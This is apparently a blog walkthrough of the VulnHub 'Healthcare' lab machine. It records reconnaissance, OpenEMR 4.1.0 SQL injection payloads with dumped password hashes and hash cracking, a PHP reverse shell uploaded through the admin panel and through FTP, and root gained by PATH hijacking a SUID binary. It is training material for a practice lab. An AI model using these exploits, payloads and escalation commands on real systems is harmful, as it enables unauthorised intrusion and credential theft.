Recon
NMAP Complete Scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# Nmap 7.92 scan initiated Wed Feb 2 03:04:26 2022 as: nmap -vv --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess -p- -oN /root/vulnHub/Healthcare/192.168.110.8/scans/_full_tcp_nmap.txt -oX /root/vulnHub/Healthcare/192.168.110.8/scans/xml/_full_tcp_nmap.xml 192.168.110.8
adjust_timeouts2: packet supposedly had rtt of -531134 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -531134 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -176308 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -176308 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -760169 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -760169 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -760035 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -760035 microseconds. Ignoring time.
Nmap scan report for 192.168.110.8
Host is up, received arp-response (0.00053s latency).
Scanned at 2022-02-02 03:04:27 +08 for 17s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 64 ProFTPD 1.3.3d
80/tcp open http syn-ack ttl 64 Apache httpd 2.2.17 ((PCLinuxOS 2011/PREFORK-1pclos2011))
| http-robots.txt: 8 disallowed entries
| /manual/ /manual-2.2/ /addon-modules/ /doc/ /images/
|_/all_our_e-mail_addresses /admin/ /
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Coming Soon 2
|_http-favicon: Unknown favicon MD5: 7D4140C76BF7648531683BFA4F7F8C22
|_http-server-header: Apache/2.2.17 (PCLinuxOS 2011/PREFORK-1pclos2011)
MAC Address: 08:00:27:CA:51:55 (Oracle VirtualBox virtual NIC)
OS fingerprint not ideal because: Didn't receive UDP response. Please try again with -sSU
Aggressive OS guesses: Linux 2.6.38 (99%), Linux 2.6.32 - 3.5 (98%), Linux 2.6.38 - 3.0 (96%), Linux 2.6.9 - 2.6.30 (95%), Linux 2.6.32 - 3.10 (94%), Linux 2.6.37 (94%), Osmosys DMS DVR (93%), Linux 2.6.18 - 2.6.32 (93%), OpenWrt (Linux 2.4.32) (93%), Linux 2.6.22 (Fedora Core 6) (93%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.92%E=4%D=2/2%OT=21%CT=1%CU=%PV=Y%DS=1%DC=D%G=N%M=080027%TM=61F9844C%P=x86_64-pc-linux-gnu)
SEQ(SP=C3%GCD=1%ISR=C6%TI=Z%CI=Z%II=I%TS=A)
OPS(O1=M5B4ST11NW6%O2=M5B4ST11NW6%O3=M5B4NNT11NW6%O4=M5B4ST11NW6%O5=M5B4ST11NW6%O6=M5B4ST11)
WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6=3890)
ECN(R=Y%DF=Y%TG=40%W=3908%O=M5B4NNSNW6%CC=N%Q=)
T1(R=Y%DF=Y%TG=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=Y%DF=Y%TG=40%W=3890%S=O%A=S+%F=AS%O=M5B4ST11NW6%RD=0%Q=)
T4(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%TG=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%TG=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=N)
IE(R=Y%DFI=N%TG=40%CD=S)
Uptime guess: 0.002 days (since Wed Feb 2 03:01:45 2022)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=197 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Unix
TRACEROUTE
HOP RTT ADDRESS
1 0.53 ms 192.168.110.8
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb 2 03:04:44 2022 -- 1 IP address (1 host up) scanned in 18.18 seconds
TCP/21 (FTP)
- Anonymous access denied
TCP/80 (HTTP)
Ferox
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(root💀kali)-[~/vulnHub/Healthcare]
└─# feroxbuster -u http://$ip -n -w /usr/share/wordlists/dirbuster/directory-list-2.3-compiled.txt -t 50
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.4.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.110.8
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-compiled.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.4.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🚫 Do Not Recurse │ true
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 121l 281w 5031c http://192.168.110.8/
301 9l 29w 339c http://192.168.110.8/css
200 2l 14w 1406c http://192.168.110.8/favicon
301 9l 29w 341c http://192.168.110.8/fonts
301 9l 29w 342c http://192.168.110.8/gitweb
301 9l 29w 342c http://192.168.110.8/images
403 42l 97w 0c http://192.168.110.8/images/
200 121l 281w 5031c http://192.168.110.8/index
301 9l 29w 338c http://192.168.110.8/js
301 9l 29w 343c http://192.168.110.8/openemr
403 1l 4w 59c http://192.168.110.8/phpMyAdmin
200 19l 78w 620c http://192.168.110.8/robots
403 42l 96w 0c http://192.168.110.8/server-info
403 42l 96w 0c http://192.168.110.8/server-status
301 9l 29w 342c http://192.168.110.8/vendor
[####################] - 11m 1489922/1489922 0s found:15 errors:0
[####################] - 11m 1489922/1489922 2120/s http://192.168.110.8
openemr
phpMyAdmin
robots
Nikto
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(root💀kali)-[~/vulnHub/Healthcare]
└─# nikto -ask=no -h http://192.168.110.8:80 2>&1 | tee "/root/vulnHub/Healthcare/192.168.110.8/scans/tcp80/tcp_80_http_nikto.txt"
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.110.8
+ Target Hostname: 192.168.110.8
+ Target Port: 80
+ Start Time: 2022-02-02 03:11:31 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.2.17 (PCLinuxOS 2011/PREFORK-1pclos2011)
+ Server may leak inodes via ETags, header found with file /, inode: 264154, size: 5031, mtime: Sat Jan 6 14:21:38 2018
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ "robots.txt" contains 8 entries which should be manually viewed.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html
+ Apache/2.2.17 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ OSVDB-112004: /cgi-bin/test.cgi: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271).
+ OSVDB-112004: /cgi-bin/test.cgi: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278).
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3092: /cgi-bin/test.cgi: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
er+ 9543 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time: 2022-02-02 04:01:06 (GMT8) (2975 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
/cgi-bin/test.cgi
- ‘shellshock’ vulnerability
- a false positive
Initial Foothold
TCP/80 (HTTP) - OpenEMR SQLi
- View enumerated directories
openemr
openEMR v4.1.0
phpMyAdmin
robots
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
┌──(root💀kali)-[~/vulnHub/Healthcare/192.168.110.8/scans] └─# curl http://192.168.110.8/robots.txt -s | grep "Disallow: /" | cut -d "/" -f2 | tee robots_dir.txt manual manual-2.2 addon-modules doc images all_our_e-mail_addresses admin ┌──(root💀kali)-[~/vulnHub/Healthcare/192.168.110.8/scans] └─# for x in $(<robots_dir.txt); do echo http://$ip/${x}; done http://192.168.110.8/manual http://192.168.110.8/manual-2.2 http://192.168.110.8/addon-modules http://192.168.110.8/doc http://192.168.110.8/images http://192.168.110.8/all_our_e-mail_addresses http://192.168.110.8/admin
addon-modules
- This directory can only be viewed from localhost
images
- Access Denied
- Others
- Not found
Search exploits for
openEMR v4.1.0
Exploit Title Path OpenEMR 4.1.0 - ‘u’ SQL Injection php/webapps/49742.py Openemr-4.1.0 - SQL Injection php/webapps/17998.txt - Try
php/webapps/49742.py
- Edit
url
variable - Run exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
┌──(root💀kali)-[~/vulnHub/Healthcare/192.168.110.8/exploit] └─# python3 49742.py ____ ________ _______ __ __ ___ ____ / __ \____ ___ ____ / ____/ |/ / __ \ / // / < // __ \ / / / / __ \/ _ \/ __ \/ __/ / /|_/ / /_/ / / // /_ / // / / / / /_/ / /_/ / __/ / / / /___/ / / / _, _/ /__ __/ / // /_/ / \____/ .___/\___/_/ /_/_____/_/ /_/_/ |_| /_/ (_)_(_)____/ /_/ ____ ___ __ _____ ____ __ _ / __ )/ (_)___ ____/ / / ___// __ \ / / (_) / /_/ / / / __ \/ __ / \__ \/ / / / / / / / / /_/ / / / / / / /_/ / ___/ / /_/ / / /___/ / /_____/_/_/_/ /_/\__,_/ /____/\___\_\/_____/_/ exploit by @ikuamike [+] Finding number of users... [+] Found number of users: 2 [+] Extracting username and password hash... admin:3863efef9ee2bfbc51ecdca359c6302bed1389e8 medical:ab24aed5a7c4ad45615cd7e0da816eea39e4895d
- Edit
- Alternative exploit, SQLMap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
┌──(root💀kali)-[~/vulnHub/Healthcare/192.168.110.8/exploit] └─# sqlmap -r sqli.txt -p 'u' -D openemr -T users -C username,password --dump --output-dir=$(pwd)/sqlmap Parameter: u (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: u=test' OR NOT 9146=9146# Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: u=test' AND (SELECT 5508 FROM(SELECT COUNT(*),CONCAT(0x7176626271,(SELECT (ELT(5508=5508,1))),0x7162787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- OUIQ Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: u=test' AND (SELECT 1257 FROM (SELECT(SLEEP(5)))UvXP)-- cwnE Database: openemr Table: users [2 entries] +----------+------------------------------------------+ | username | password | +----------+------------------------------------------+ | admin | 3863efef9ee2bfbc51ecdca359c6302bed1389e8 | | medical | ab24aed5a7c4ad45615cd7e0da816eea39e4895d | +----------+------------------------------------------+ [15:01:52] [INFO] table 'openemr.users' dumped to CSV file '/root/vulnHub/Healthcare/192.168.110.8/exploit/sqlmap/192.168.110.8/dump/openemr/users.csv' [15:01:52] [INFO] fetched data logged to text files under '/root/vulnHub/Healthcare/192.168.110.8/exploit/sqlmap/192.168.110.8' [*] ending @ 15:01:52 /2022-02-02/
- Crack hash
1 2 3 4
┌──(root💀kali)-[~/vulnHub/Healthcare/192.168.110.8/exploit] └─# hashcat -a 0 -m 100 hashes /usr/share/wordlists/rockyou.txt --show 3863efef9ee2bfbc51ecdca359c6302bed1389e8:ackbar ab24aed5a7c4ad45615cd7e0da816eea39e4895d:medical
- Login w/ admin:ackbar
TCP/80 - OpenEMR RCE
- Since we do not have TCP/22 up, it is very likely we gain initial foothold via RCE
Search RCE exploits for
OpenEMR v4.1.0
Exploit Title Path OpenEMR 5.0.1 - Remote Code Execution (1) php/webapps/48515.py OpenEMR-RCE <= 5.0.1 https://github.com/noraj/OpenEMR-RCE - All failed, probably because
openemr/portal/import_template.php
does not exist - Upload reverse shell manually
- Proceed to
Administration -> Others
- Insert
php-reverse-shell.php
- Execute
php-reverse-shell.php
1 2
┌──(root💀kali)-[~/vulnHub/Healthcare/192.168.110.8/loot/ftp/192.168.110.8/Downloads] └─# curl 192.168.110.8/openemr/sites/default/images/php-reverse-shell.php -s
- Apache shell obtained
- Proceed to
Initial Foothold 2
TCP/21 (FTP) - Upload Reverse Shell
- Instead of inserting reverse shell @ OpenEMR, we upload a reverse shell through FTP
- Able to access FTP w/ medical:medical
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
┌──(root💀kali)-[~/vulnHub/Healthcare/192.168.110.8/loot/ftp] └─# ftp -nv $ip Connected to 192.168.110.8. 220 ProFTPD 1.3.3d Server (ProFTPD Default Installation) [192.168.110.8] ftp> user medical 331 Password required for medical Password: 230 User medical logged in Remote system type is UNIX. Using binary mode to transfer files. ftp> put test local: test remote: test 200 PORT command successful 150 Opening BINARY mode data connection for test 226 Transfer complete ftp>
- We have write access
- Download all files from medical
1 2
┌──(root💀kali)-[~/vulnHub/Healthcare/192.168.110.8/loot/ftp] └─# wget -m --no-passive ftp://medical:medical@$ip #Download all
- View directory structure
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
┌──(root💀kali)-[~/vulnHub/Healthcare/192.168.110.8/loot/ftp] └─# tree 192.168.110.8/ 192.168.110.8/ ├── Desktop │ ├── addlocale.desktop │ ├── drakfirewall.desktop │ ├── draknetcenter.desktop │ └── Get Libre Office.desktop ├── Documents │ ├── OpenEMR Passwords.pdf │ └── Passwords.txt ├── Downloads │ └── openemr-4.1.0.tar.gz ├── Movies ├── Music ├── Pictures │ └── pclosmedical.png ├── Templates ├── tmp │ ├── debug.log │ ├── keyring-fPbG5t │ ├── keyring-hSBjUb │ ├── orbit-medical │ │ ├── bonobo-activation-register-b415b005c8435facdf68405e0000002c.lock │ │ ├── bonobo-activation-register-d37436b21aa5f1f34a448a3a00000028.lock │ │ ├── bonobo-activation-server-b415b005c8435facdf68405e0000002c-ior │ │ └── bonobo-activation-server-d37436b21aa5f1f34a448a3a00000028-ior │ ├── orbit-root │ ├── pulse-8LagrogWihJO │ │ └── pid │ ├── ssh-RoIgQkNbu874 │ └── ssh-XLjWYherh886 └── Videos 16 directories, 14 files
OpenEMR Passwords.pdf
Passwords.txt
- We can tell this a user’s home directory
- We can add our
id_rsa.pub
key to hisauthorized_keys
to be able to SSH into it, but TCP/22 is not up.
- View interesting files
Passwords.txt
1 2 3 4 5 6 7 8 9 10
┌──(root💀kali)-[~/vulnHub/Healthcare/192.168.110.8/loot/ftp] └─# cat 192.168.110.8/Documents/Passwords.txt PCLINUXOS MEDICAL root-root medical-medical OPENEMR admin-admin medical-medical
OpenEMR Passwords.pdf
- Contains some default credentials, not useful
- Head back to FTP, found out that the entire filesystem
/
is shared in FTP - Path to
/var/www/html/openemr
, insertphp-reverse-shell.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
┌──(root💀kali)-[~/vulnHub/Healthcare/192.168.110.8/exploit/openemr_rce] └─# ftp -nv $ip Connected to 192.168.110.8. 220 ProFTPD 1.3.3d Server (ProFTPD Default Installation) [192.168.110.8] ftp> user medical 331 Password required for medical Password: 230 User medical logged in Remote system type is UNIX. Using binary mode to transfer files. ftp> cd /var/www/html/openemr 250 CWD command successful ftp> put php-reverse-shell.php local: php-reverse-shell.php remote: php-reverse-shell.php 200 PORT command successful 150 Opening BINARY mode data connection for php-reverse-shell.php 226 Transfer complete 5495 bytes sent in 0.00 secs (30.2916 MB/s)
- Execute reverse shell
1 2
┌──(root💀kali)-[~/vulnHub/Healthcare] └─# curl 192.168.110.8/openemr/php-reverse-shell.php
Privilege Escalation
Medical - Via Creds Found
- Earlier we found medical creds
- Switch to medical w/ medical:medical
- User Flag
1 2 3 4
sh-4.1$ cat user.txt cat user.txt d41d8cd98f00b204e9800998ecf8427e sh-4.1$
Root - Via SUID Binary (Path Hijacking)
- Check for SUID Binaries
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
[medical@localhost ~]$ find / -perm -4000 2>/dev/null ... /usr/bin/expiry /usr/bin/newgrp /usr/bin/pkexec /usr/bin/wvdial /usr/bin/pmount /usr/bin/sperl5.10.1 /usr/bin/gpgsm /usr/bin/gpasswd /usr/bin/chfn /usr/bin/su /usr/bin/passwd /usr/bin/gpg /usr/bin/healthcheck <- Suspicious ...
- View contents of
healthcheck
1 2 3 4 5 6 7 8 9 10 11 12 13
[medical@localhost ~]$ strings /usr/bin/healthcheck /lib/ld-linux.so.2 __gmon_start__ libc.so.6 _IO_stdin_used setuid system setgid __libc_start_main GLIBC_2.0 PTRhp [^_] clear ; echo 'System Health Check' ; echo '' ; echo 'Scanning System' ; sleep 2 ; ifconfig ; fdisk -l ; du -h
ifconfig
is called w/o specifying its full pathfdisk
is called w/o specifying its full pathdu
is called w/o specifying its full path
- Exploit
- Prepend
/tmp
to our PATH environment variable1 2 3 4
[medical@localhost tmp]$ export PATH=/tmp:$PATH [medical@localhost ~]$ echo $PATH /tmp:/sbin:/usr/sbin:/bin:/usr/bin:/usr/lib/qt4/bin
- Create binary to spawn a root shell
1
[medical@localhost tmp]$ printf '#!/bin/bash\n\ncp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash\n' > /tmp/ifconfig; chmod 4777 /tmp/ifconfig;
- Check if
/tmp/ifconfig
will be called first1 2
[medical@localhost ~]$ which ifconfig /tmp/ifconfig
- Run
healthcheck
1
[medical@localhost ~]$ /usr/bin/healthcheck
- View
/tmp
1 2 3 4 5 6 7 8 9
[medical@localhost ~]$ ls -la /tmp total 5588 -rwsrwxrwx 1 medical medical 67 Feb 1 15:24 ifconfig* -rw------- 1 root root 0 Jul 29 2020 init.vQ5ZLd -rw-r--r-- 1 medical medical 193518 Feb 1 15:13 linpeas.out -rwxr-xr-x 1 medical medical 762836 Feb 1 15:11 linpeas.sh* -rw-r--r-- 1 medical medical 16328 Feb 2 2022 raptor_udf2.so -rwsr-xr-x 1 root root 864208 Feb 1 15:24 rootbash* <- Rootbash generated -rw-r--r-- 1 apache apache 3841560 Jul 29 2020 setup_dump.sql
- Obtain root shell
1
[medical@localhost ~]$ /tmp/rootbash -p
- Prepend
- Root Flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14
rootbash-4.1# cat root.txt ██ ██ ██████ ██ ██ ████████ ██████ ██ ███████ ██████ ██ ██ █████ ██████ ██████ ███████ ██████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██████ ██ █████ ██ ██ ███████ ███████ ██████ ██ ██ █████ ██████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██████ ██████ ██ ██ ██ ██ ███████ ██████ ██ ██ ██ ██ ██ ██ ██████ ███████ ██ ██ ██ Thanks for Playing! Follow me at: http://v1n1v131r4.com root hash: eaff25eaa9ffc8b62e3dfebf70e83a7b
Comments powered by Disqus.